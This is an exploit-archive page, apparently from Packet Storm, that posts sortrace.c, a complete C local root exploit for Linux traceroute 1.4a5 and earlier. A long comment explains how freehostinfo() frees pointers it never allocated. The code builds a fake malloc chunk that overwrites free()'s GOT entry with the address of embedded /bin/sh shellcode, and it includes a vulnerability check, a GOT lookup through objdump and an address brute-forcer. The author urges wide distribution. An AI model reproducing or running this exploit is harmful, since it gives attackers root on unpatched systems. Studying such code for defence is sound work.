exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

sortrace.c

sortrace.c
Posted Oct 10, 2002
Authored by Sorbo

Linux Traceroute v1.4a5 and below local root exploit which takes advantage of a malloc chunk vulnerability. Uses gdb to find offsets.

tags | exploit, local, root
systems | linux
SHA-256 | 2b8d9dac84e0f7dd993e19acd912184417a595f94fb1481ffc67eaa6c492e43e

sortrace.c

Change Mirror Download
/*
* exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com)
*
* WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D
*
* Advisory: Chris Evans
*
* Vulnerability class: malloc chunks
*
*
* The problem is in the implementation of freehostinfo(). To be exact, free(hi->name); is the problem.
* hi->hname is allocated via savestr() from gethostinfo().
*
* savestr() is a clone of strdup but uses less mallocs. It allocates one chunk and returns pointers withing that chunk.
* The problem is that freehostinfo assumes savestr acts as strdup, so it free()'s all pointers. Only one pointer will
* actually be malloc()ed (the first host), the others will just be pointers in that heap area. Thus, when these other
* pointers are free()ed, the application will segfault (because of an invalid malloc chunk... since there never was one).
*
* ie: traceroute -g 1 -g 2 will segfault.
*
* This because only space for 1 is malloced, whereas 2 has "allocated space" within the space of 1 (which is allocated with
* 1024 bytes and not only 17 or something).
*
* The idea is to create a valid memory chunk for the second host and another free memory chunk (so consolidation may occur)
* thus overwriting memory (free's GOT) to point to our shellcode (in argv or something).
*
*
* This is the memory initially (in bytes):
*
* [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ]
*
* After the first round of free's:
* [ hostinfo: 16] [ ADDR2 16 ]
*
* notice that we have control over the STRPTR area and there is an aditional pointer which will be free()d now that
* lies in the STRPTR area (which is now "free").
*
* we need to create a fake chunk (one that seems allocated) for that second pointer (which is our second ip).
* This is how the "strptr" area looks like before the free
* [IP1:x ] [0] [IP2:x] [0]
* [ADDR2:16]
*
* We are interested in the 4 bytes before IP2 (size field of memory chunk).
* MSB will be 0.
* ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's).
* if we choose IP1 of length 7 (including null byte, eg:1.2.34), this will be structure of STRPTR:
*
* [IP1:6] [0] [IP2:x] [0]
* [ADDR2:4][0:12]
*
* The 8 bytes before IP2 (the chunk header) will be:
* [HI:1] [ADDR2:4] [0:3]
*
* This means that size will be determined by the last byte of the second ip.
*
* ADDR2 is allocated 16 bytes, thus

* We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we want PREV_INUSE set).
*
* This means that 8 bytes from the start of the second addr, free will expect another chunk header.
* that is EXACTLY after the ip address (we need to put a space here and fortunately space is even ascii code)
* so the prev_size will be even. All we do is set an even prevsize, -4 size, free GOT addr - 12 in fd and argv[5] (shellcode)
* addr in bg
*
* and... root =D
*
*/




#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>


char shellcode[] =
/* jump around (effectivly like a "nop space" /2) */
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
"\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"

/* NOPS */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

/* the Aleph One shellcode */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";



#define TRACEROUTE "/usr/sbin/traceroute"

#define OBJDUMP "/usr/bin/objdump"

/* ojbdump traceroute | grep free */
unsigned int FREE = 0; /* free() GOT address */

/* ltrace traceroute (and u have a starting addr to start guessing from ;D ) */
unsigned int SHELLCODE = 0; /* argv[5] of traceroute */

char *env[] = { NULL };

void usage(char *m) {
printf("Usage: %s [options]\n",m);
printf("-h\t\t\tthis lame message\n");
printf("-f <addr>\t\tfree() GOT addr\n");
printf("-s <addr>\t\ttraceroute's argv[5] addr\n");
printf("-b\t\t\tbrute force argv[5] addr\n");
printf("-n\t\t\tdon't test vuln\n");
exit(0);
}

void bruteforce(char *arg[], unsigned int *addr) {
int pid;
int status;

printf("Starting brute force from %x incrememting 1 byte each time\n",*addr);
printf("If it hangs... ur probably close ;D try skipping the value\n");

while(1) {
pid = fork();
if(pid < 0) {
perror("pid()");
exit(-1);
}

/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {

printf("Trying = %x\n",*addr);

wait(&status);
if(WIFEXITED(status) != 0)
break;
(*addr)++;
}
}
printf("Done...\n");
exit(0);
}

/* yes very lame n skript kiddie ;D */
unsigned int getGOT(char *symb) {
int pid;
int fd[2];
char buf[1024];
char *arg[] = { "/bin/sh", "-c", buf, NULL };
unsigned int addr = 0;

snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb);

printf("Attempting to fetch free() addr (make sure u got objdump)\n");


if(pipe(fd) <0) {
perror("pipe()");
exit(0);
}

pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}

/* child */
if(pid == 0) {
dup2(fd[1],1);
dup2(fd[1],2);
close(fd[0]);
close(fd[1]);
execve("/bin/sh",arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int rd;

close(fd[1]);

rd = read(fd[0],buf,1024);
if(rd < 1) {
perror("read()");
exit(0);
}
buf[rd] = 0;
sscanf(buf,"%x",&addr);
wait(NULL);
}
printf("Adress %x... does it sound good !?!?! ;D\n",addr);
return addr;
}

void checkVuln() {
int pid;
char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL };

pid = fork();
if(pid < 0) {
perror("fork()");
exit(0);
}



/* child */
if(pid == 0) {
execve(TRACEROUTE,arg,env);
perror("execve()");
exit(0);
}
/* parent */
else {
int status;
printf("Checking vuln...\n");
wait(&status);
if(WIFEXITED(status) != 0) {
printf("NOT VULN!! override with -n\n");
exit(0);
}
}

printf("VULN!\n");
}

int main(int argc, char **argv) {
unsigned char egg[1024]; /* hope we don't overflow it ;D no bounds check!!! */
unsigned int *ptr;
int opt;
int checkvuln = 1;
int brute = 0;
char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL };

printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n");


while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) {
switch(opt) {
case 'f':
if(sscanf(optarg,"%x",&FREE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;

case 's':
if(sscanf(optarg,"%x",&SHELLCODE) != 1) {
printf("Invalid free addr\n");
exit(-1);
}
break;

case 'b':
brute = 1;
break;

case 'n':
checkvuln = 0;
break;

default:
case 'h':
usage(argv[0]);
}
}

if(checkvuln)
checkVuln();

/* ok all we need to construct is the second "ip" address */
strcpy(egg,"1.2.3."); /* start normal ;D */

/* SIZE OF FIRST CHUNK */
strcat(egg,"17"); /* 16 length... 17 so we set previnuse (we don't want to consolidate backwards */


/* PREVSIZE OF FREE CHUNK */
strcat(egg," "); /* by putting a space inet_addr will not fail and we can fill up with bullshit */
strcat(egg,"sex"); /* the space of before filled the LSB of the prevsize which we want even.. don't
* care about rest
*/


/* SIZE OF FREE CHUNK */
ptr = (unsigned int*)(egg+strlen(egg));
*ptr = -4; /* -4 so when it checks for is PREV_INUSE set for the "next" chunk it will actually check
* our freechunk's prev_inuse
*/
ptr++;

/* FD OF FREE CHUNK */
if(FREE == 0)
FREE = getGOT("free");
*ptr = FREE-12;
ptr++;

/* BK OF FREE CHUNK */
if(SHELLCODE == 0)
SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6; /* stack is argv[5] 0 traceroute 0 NULL */
*ptr = SHELLCODE;
ptr++;

*ptr = 0; /* the end */


printf("Lets ride...\n");
if(brute)
bruteforce(arg,ptr-1);

printf("Trying %x\n",SHELLCODE);
execve(TRACEROUTE,arg,env);
perror("execve()");

}

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close